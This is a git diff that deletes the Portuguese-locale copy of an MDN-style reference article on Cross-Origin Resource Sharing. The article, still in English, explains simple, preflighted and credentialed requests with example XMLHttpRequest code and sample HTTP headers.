- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li>
- <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li>
-</ul>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>Glossary: {{Glossary("CORS")}}</li>
- <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li>
- <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li>
- <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li>
- <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li>
- <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li>
-</ul>
diff --git a/files/pt-pt/web/http/cors/index.html b/files/pt-pt/web/http/cors/index.html
deleted file mode 100644
index 1bfd447c17..0000000000
--- a/files/pt-pt/web/http/cors/index.html
+++ /dev/null
@@ -1,570 +0,0 @@
----
-title: Cross-Origin Resource Sharing (CORS)
-slug: Web/HTTP/CORS
-tags:
- - AJAX
- - CORS
- - Cross-Origin Resource Sharing
- - Fetch
- - Fetch API
- - HTTP
- - HTTP Access Controls
- - NeedsTranslation
- - Same-origin policy
- - Security
- - TopicStub
- - XMLHttpRequest
- - 'l10n:priority'
-translation_of: Web/HTTP/CORS
----
-<div>{{HTTPSidebar}}</div>
-
-<p><span class="seoSummary">Cross-Origin Resource Sharing ({{Glossary("CORS")}}) is a mechanism that uses additional {{Glossary("HTTP")}} headers to tell a browser to let a web application running at one origin (domain) have permission to access selected resources from a server at a different origin.</span> A web application executes a <strong>cross-origin HTTP request</strong> when it requests a resource that has a different origin (domain, protocol, and port) than its own origin.</p>
-
-<p>An example of a cross-origin request: The frontend JavaScript code for a web application served from <code>http://domain-a.com</code> uses {{domxref("XMLHttpRequest")}} to make a request for <code>http://api.domain-b.com/data.json</code>.</p>
-
-<p>For security reasons, browsers restrict cross-origin HTTP requests initiated from within scripts. For example, <code>XMLHttpRequest</code> and the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> follow the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This means that a web application using those APIs can only request HTTP resources from the same origin the application was loaded from, unless the response from the other origin includes the right CORS headers.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p>
-
-<p>The CORS mechanism supports secure cross-origin requests and data transfers between browsers and web servers. Modern browsers use CORS in an API container such as <code>XMLHttpRequest</code> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> to help mitigate the risks of cross-origin HTTP requests.</p>
-
-<h2 id="Who_should_read_this_article">Who should read this article?</h2>
-
-<p>Everyone, really.</p>
-
-<p>More specifically, this article is for web administrators, server developers, and front-end developers. Modern browsers handle the client-side components of cross-origin sharing, including headers and policy enforcement. But this new standard means servers have to handle new request and response headers. Another article for server developers discussing <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">cross-origin sharing from a server perspective (with PHP code snippets)</a> is supplementary reading.</p>
-
-<h2 id="What_requests_use_CORS">What requests use CORS?</h2>
-
-<p>This <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">cross-origin sharing standard</a> is used to enable cross-site HTTP requests for:</p>
-
-<ul>
- <li>Invocations of the {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> APIs in a cross-site manner, as discussed above.</li>
- <li>Web Fonts (for cross-domain font usage in <code>@font-face</code> within CSS), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">so that servers can deploy TrueType fonts that can only be cross-site loaded and used by web sites that are permitted to do so.</a></li>
- <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL textures</a>.</li>
- <li>Images/video frames drawn to a canvas using {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}.</li>
-</ul>
-
-<p>This article is a general discussion of Cross-Origin Resource Sharing and includes a discussion of the necessary HTTP headers.</p>
-
-<h2 id="Functional_overview">Functional overview</h2>
-
-<p>The Cross-Origin Resource Sharing standard works by adding new <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> that allow servers to describe the set of origins that are permitted to read that information using a web browser. Additionally, for HTTP request methods that can cause side-effects on server's data (in particular, for HTTP methods other than {{HTTPMethod("GET")}}, or for {{HTTPMethod("POST")}} usage with certain <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>), the specification mandates that browsers "preflight" the request, soliciting supported methods from the server with an HTTP {{HTTPMethod("OPTIONS")}} request method, and then, upon "approval" from the server, sending the actual request with the actual HTTP request method. Servers can also notify clients whether "credentials" (including <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> and HTTP Authentication data) should be sent with requests.</p>
-
-<p>CORS failures result in errors, but for security reasons, specifics about what went wrong <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</p>
-
-<p>Subsequent sections discuss scenarios, as well as provide a breakdown of the HTTP headers used.</p>
-
-<h2 id="Examples_of_access_control_scenarios">Examples of access control scenarios</h2>
-
-<p>Here, we present three scenarios that illustrate how Cross-Origin Resource Sharing works. All of these examples use the {{domxref("XMLHttpRequest")}} object, which can be used to make cross-site invocations in any supporting browser.</p>
-
-<p>The JavaScript snippets included in these sections (and running instances of the server-code that correctly handles these cross-site requests) can be found "in action" at <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, and will work in browsers that support cross-site <code>XMLHttpRequest</code>.</p>
-
-<p>A discussion of Cross-Origin Resource Sharing from a server perspective (including PHP code snippets) can be found in the <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a> article.</p>
-
-<h3 id="Simple_requests">Simple requests</h3>
-
-<p>Some requests don’t trigger a <a href="#Preflighted_requests">CORS preflight</a>. Those are called “simple requests” in this article, though the {{SpecName('Fetch')}} spec (which defines CORS) doesn’t use that term. A request that doesn’t trigger a <a href="#Preflighted_requests">CORS preflight</a>—a so-called “simple request” — is one that <strong>meets all the following conditions</strong>:</p>
-
-<ul>
- <li>The only allowed methods are:
- <ul>
- <li>{{HTTPMethod("GET")}}</li>
- <li>{{HTTPMethod("HEAD")}}</li>
- <li>{{HTTPMethod("POST")}}</li>
- </ul>
- </li>
- <li>Apart from the headers set automatically by the user agent (for example, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, or <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">any of the other headers with names defined in the Fetch spec as a “forbidden header name”</a>), the only headers which are allowed to be manually set are <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are:
- <ul>
- <li>{{HTTPHeader("Accept")}}</li>
- <li>{{HTTPHeader("Accept-Language")}}</li>
- <li>{{HTTPHeader("Content-Language")}}</li>
- <li>{{HTTPHeader("Content-Type")}} (but note the additional requirements below)</li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
- <li>{{HTTPHeader("Downlink")}}</li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
- </ul>
- </li>
- <li>The only allowed values for the {{HTTPHeader("Content-Type")}} header are:
- <ul>
- <li><code>application/x-www-form-urlencoded</code></li>
- <li><code>multipart/form-data</code></li>
- <li><code>text/plain</code></li>
- </ul>
- </li>
- <li>No event listeners are registered on any {{domxref("XMLHttpRequestUpload")}} object used in the request; these are accessed using the {{domxref("XMLHttpRequest.upload")}} property.</li>
- <li>No {{domxref("ReadableStream")}} object is used in the request.</li>
-</ul>
-
-<div class="note"><strong>Note:</strong> These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.</div>
-
-<div class="note"><strong>Note:</strong> WebKit Nightly and Safari Technology Preview place additional restrictions on the values allowed in the {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, and {{HTTPHeader("Content-Language")}} headers. If any of those headers have ”non-standard” values, WebKit/Safari does not consider the request to meet the conditions for a “simple request”. What WebKit/Safari considers “non-standard” values for those headers is not documented except in the following WebKit bugs: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. No other browsers implement those extra restrictions, because they’re not part of the spec.</div>
-
-<p>For example, suppose web content on domain <code class="plain">http://foo.example</code> wishes to invoke content on domain <code class="plain">http://bar.other</code>. Code of this sort might be used within JavaScript deployed on foo.example:</p>
-
-<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest();
-const url = 'http://bar.other/resources/public-data/';
-
-function callOtherDomain() {
- if(invocation) {
- invocation.open('GET', url, true);
- invocation.onreadystatechange = handler;
- invocation.send();
- }
-}
-</pre>
-
-<p>This will lead to a simple exchange between the client and the server, using CORS headers to handle the privileges:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p>
-
-<p>Let us look at what the browser will send to the server in this case, and let's see how the server responds:</p>
-
-<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
-Origin: http://foo.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-</pre>
-
-<p>Lines 1 - 10 are headers sent. The main HTTP request header of note here is the {{HTTPHeader("Origin")}} header on line 10 above, which shows that the invocation is coming from content on the domain <code class="plain">http://foo.example</code>.</p>
-
-<p>Lines 13 - 22 show the HTTP response from the server on domain <code class="plain">http://bar.other</code>. In response, the server sends back an {{HTTPHeader("Access-Control-Allow-Origin")}} header, shown above in line 16. The use of the {{HTTPHeader("Origin")}} header and of {{HTTPHeader("Access-Control-Allow-Origin")}} show the access control protocol in its simplest use. In this case, the server responds with a <code>Access-Control-Allow-Origin: *</code> which means that the resource can be accessed by <strong>any</strong> domain in a cross-site manner. If the resource owners at <code class="plain">http://bar.other</code> wished to restrict access to the resource to requests only from <code class="plain">http://foo.example</code>, they would send back:</p>
-
-<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p>
-
-<p>Note that now, no domain other than <code class="plain">http://foo.example</code> (identified by the ORIGIN: header in the request, as in line 10 above) can access the resource in a cross-site manner. The <code>Access-Control-Allow-Origin</code> header should contain the value that was sent in the request's <code>Origin</code> header.</p>
-
-<h3 id="Preflighted_requests">Preflighted requests</h3>
-
-<p>Unlike <a href="#Simple_requests">“simple requests” (discussed above)</a>, "preflighted" requests first send an HTTP request by the {{HTTPMethod("OPTIONS")}} method to the resource on the other domain, in order to determine whether the actual request is safe to send. Cross-site requests are preflighted like this since they may have implications to user data.</p>
-
-<p>In particular, a request is preflighted if <strong>any of the following conditions</strong> is true:</p>
-
-<ul>
- <li><strong>If</strong> the request uses any of the following methods:
-
- <ul>
- <li>{{HTTPMethod("PUT")}}</li>
- <li>{{HTTPMethod("DELETE")}}</li>
- <li>{{HTTPMethod("CONNECT")}}</li>
- <li>{{HTTPMethod("OPTIONS")}}</li>
- <li>{{HTTPMethod("TRACE")}}</li>
- <li>{{HTTPMethod("PATCH")}}</li>
- </ul>
- </li>
- <li><strong>Or if</strong>, apart from the headers set automatically by the user agent (for example, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, or <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">any of the <strong>OTHER</strong> header with a name defined in the Fetch spec as a “forbidden header name”</a>), the request includes any headers other than <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are the following:
- <ul>
- <li>{{HTTPHeader("Accept")}}</li>
- <li>{{HTTPHeader("Accept-Language")}}</li>
- <li>{{HTTPHeader("Content-Language")}}</li>
- <li>{{HTTPHeader("Content-Type")}} (but note the additional requirements below)</li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
- <li>{{HTTPHeader("Downlink")}}</li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
- <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
- </ul>
- </li>
- <li><strong>Or if</strong> the {{HTTPHeader("Content-Type")}} header has a value <strong>OTHER THAN</strong> the following:
- <ul>
- <li><code>application/x-www-form-urlencoded</code></li>
- <li><code>multipart/form-data</code></li>
- <li><code>text/plain</code></li>
- </ul>
- </li>
- <li><strong>Or if</strong> one or more event listeners are registered on an {{domxref("XMLHttpRequestUpload")}} object used in the request.</li>
- <li><strong>Or if</strong> a {{domxref("ReadableStream")}} object is used in the request.</li>
-</ul>
-
-<div class="note"><strong>Note:</strong> WebKit Nightly and Safari Technology Preview place additional restrictions on the values allowed in the {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, and {{HTTPHeader("Content-Language")}} headers. If any of those headers have ”non-standard” values, WebKit/Safari preflights the request. What WebKit/Safari considers “non-standard” values for those headers is not documented except in the following WebKit bugs: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. No other browsers implement those extra restrictions, because they’re not part of the spec.</div>
-
-<p>The following is an example of a request that will be preflighted.</p>
-
-<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest();
-const url = 'http://bar.other/resources/post-here/';
-const body = '&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;';
-
-function callOtherDomain(){
- if(invocation)
- {
- invocation.open('POST', url, true);
- invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
- invocation.setRequestHeader('Content-Type', 'application/xml');
- invocation.onreadystatechange = handler;
- invocation.send(body);
- }
-}
-
-......
-</pre>
-
-<p>In the example above, line 3 creates an XML body to send with the <code>POST</code> request in line 8. Also, on line 9, a "customized" (non-standard) HTTP request header is set (<code>X-PINGOTHER: pingpong</code>). Such headers are not part of the HTTP/1.1 protocol, but are generally useful to web applications. Since the request uses a Content-Type of <code>application/xml</code>, and since a custom header is set, this request is preflighted.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/16401/preflight_.png" style="height: 555px; width: 538px;"></p>
-
-<p>(Note: as described below, the actual POST request does not include the Access-Control-Request-* headers; they are needed only for the OPTIONS request.)</p>
-
-<p>Let's take a look at the full exchange between client and server. The first exchange is the <em>preflight request/response</em>:</p>
-
-<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-</pre>
-
-<p>Once the preflight request is complete, the real request is sent:</p>
-
-<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://foo.example/examples/preflightInvocation.html
-Content-Length: 55
-Origin: http://foo.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-&lt;?xml version="1.0"?&gt;&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Some GZIP'd payload]
-</pre>
-
-<p>Lines 1 - 12 above represent the preflight request with the {{HTTPMethod("OPTIONS")}} method. The browser determines that it needs to send this based on the request parameters that the JavaScript code snippet above was using, so that the server can respond whether it is acceptable to send the request with the actual request parameters. OPTIONS is an HTTP/1.1 method that is used to determine further information from servers, and is a {{Glossary("safe")}} method, meaning that it can't be used to change the resource. Note that along with the OPTIONS request, two other request headers are sent (lines 10 and 11 respectively):</p>
-
-<pre class="brush: none">Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-</pre>
-
-<p>The {{HTTPHeader("Access-Control-Request-Method")}} header notifies the server as part of a preflight request that when the actual request is sent, it will be sent with a <code>POST</code> request method. The {{HTTPHeader("Access-Control-Request-Headers")}} header notifies the server that when the actual request is sent, it will be sent with a <code>X-PINGOTHER</code> and <code>Content-Type</code> custom headers. The server now has an opportunity to determine whether it wishes to accept a request under these circumstances.</p>
-
-<p>Lines 14 - 26 above are the response that the server sends back indicating that the request method (<code>POST</code>) and request headers (<code>X-PINGOTHER</code>) are acceptable. In particular, let's look at lines 17-20:</p>
-
-<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400</pre>
-
-<p>The server responds with <code>Access-Control-Allow-Methods</code> and says that <code>POST</code> and <code>GET</code> are viable methods to query the resource in question. Note that this header is similar to the {{HTTPHeader("Allow")}} response header, but used strictly within the context of access control.</p>
-
-<p>The server also sends <code>Access-Control-Allow-Headers</code> with a value of "<code>X-PINGOTHER, Content-Type</code>", confirming that these are permitted headers to be used with the actual request. Like <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> is a comma separated list of acceptable headers.</p>
-
-<p>Finally, {{HTTPHeader("Access-Control-Max-Age")}} gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. In this case, 86400 seconds is 24 hours. Note that each browser has a <a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">maximum internal value</a> that takes precedence when the <code>Access-Control-Max-Age</code> is greater.</p>
-
-<h4 id="Preflighted_requests_and_redirects">Preflighted requests and redirects</h4>
-
-<p>Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.</p>
-
-<blockquote>
-<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p>
-</blockquote>
-
-<blockquote>
-<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p>
-</blockquote>
-
-<p>The CORS protocol originally required that behavior but <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">was subsequently changed to no longer require it</a>. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.</p>
-
-<p>So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:</p>
-
-<ul>
- <li>change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to</li>
- <li>change the request such that it is a <a href="#Simple_requests">simple request</a> that doesn’t cause a preflight</li>
-</ul>
-
-<p>But if it’s not possible to make those changes, then another way that may be possible is to this:</p>
-
-<ol>
- <li>Make a <a href="#Simple_requests">simple request</a> (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.</li>
- <li>Make another request (the “real” request) using the URL you obtained from <code>Response.url</code> or <code>XMLHttpRequest.responseURL</code> in the first step.</li>
-</ol>
-
-<p>However, if the request is one that triggers a preflight due to the presence of the <code>Authorization</code> header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.</p>
-
-<h3 id="Requests_with_credentials">Requests with credentials</h3>
-
-<p>The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> and CORS is the ability to make "credentialed" requests that are aware of <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> and HTTP Authentication information. By default, in cross-site <code>XMLHttpRequest</code> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> invocations, browsers will <strong>not</strong> send credentials. A specific flag has to be set on the <code>XMLHttpRequest</code> object or the {{domxref("Request")}} constructor when it is invoked.</p>
-
-<p>In this example, content originally loaded from <code class="plain">http://foo.example</code> makes a simple GET request to a resource on <code class="plain">http://bar.other</code> which sets Cookies. Content on foo.example might contain JavaScript like this:</p>
-
-<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest();
-const url = 'http://bar.other/resources/credentialed-content/';
-
-function callOtherDomain(){
- if(invocation) {
- invocation.open('GET', url, true);
- invocation.withCredentials = true;
- invocation.onreadystatechange = handler;
- invocation.send();
- }
-}</pre>
-
-<p>Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the <code>withCredentials</code> boolean value. By default, the invocation is made without Cookies. Since this is a simple <code>GET</code> request, it is not preflighted, but the browser will <strong>reject</strong> any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header, and <strong>not</strong> make the response available to the invoking web content.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
-
-<p>Here is a sample exchange between client and server:</p>
-
-<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/credential.html
-Origin: http://foo.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
-X-Powered-By: PHP/5.2.6
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
-</pre>
-
-<p>Although line 11 contains the Cookie destined for the content on <code class="plain">http://bar.other</code>, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (line 19) the response would be ignored and not made available to web content.</p>
-
-<h4 id="Credentialed_requests_and_wildcards">Credentialed requests and wildcards</h4>
-
-<p>When responding to a credentialed request, the server <strong>must</strong> specify an origin in the value of the <code>Access-Control-Allow-Origin</code> header, instead of specifying the "<code>*</code>" wildcard.</p>
-
-<p>Because the request headers in the above example include a <code>Cookie</code> header, the request would fail if the value of the <code>Access-Control-Allow-Origin</code> header were "*". But it does not fail: Because the value of the <code>Access-Control-Allow-Origin</code> header is "<code class="plain">http://foo.example</code>" (an actual origin) rather than the "<code>*</code>" wildcard, the credential-cognizant content is returned to the invoking web content.</p>
-
-<p>Note that the <code>Set-Cookie</code> response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.</p>
-
-<h4 id="Third-party_cookies">Third-party cookies</h4>
-
-<p>Note that cookies set in CORS responses are subject to normal third-party cookie policies. In the example above, the page is loaded from <code>foo.example</code>, but the cookie on line 22 is sent by <code>bar.other</code>, and would thus not be saved if the user has configured their browser to reject all third-party cookies.</p>
-
-<h2 id="The_HTTP_response_headers">The HTTP response headers</h2>
-
-<p>This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.</p>
-
-<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
-
-<p>A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:</p>
-
-<pre class="brush: none">Access-Control-Allow-Origin: &lt;origin&gt; | *
-</pre>
-
-<p><code>Access-Control-Allow-Origin</code> specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests <strong>without</strong> credentials — the "<code>*</code>" wildcard, to tell browsers to allow any origin to access the resource.</p>
-
-<p>For example, to allow code from the origin <code>http://mozilla.org</code> to access the resource, you can specify:</p>
-
-<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre>
-
-<p>If the server specifies a single origin rather than the "<code>*</code>" wildcard, then the server should also include <code>Origin</code> in the {{HTTPHeader("Vary")}} response header — to indicate to clients that server responses will differ based on the value of the {{HTTPHeader("Origin")}} request header.</p>
-
-<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
-
-<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access.</p>
-
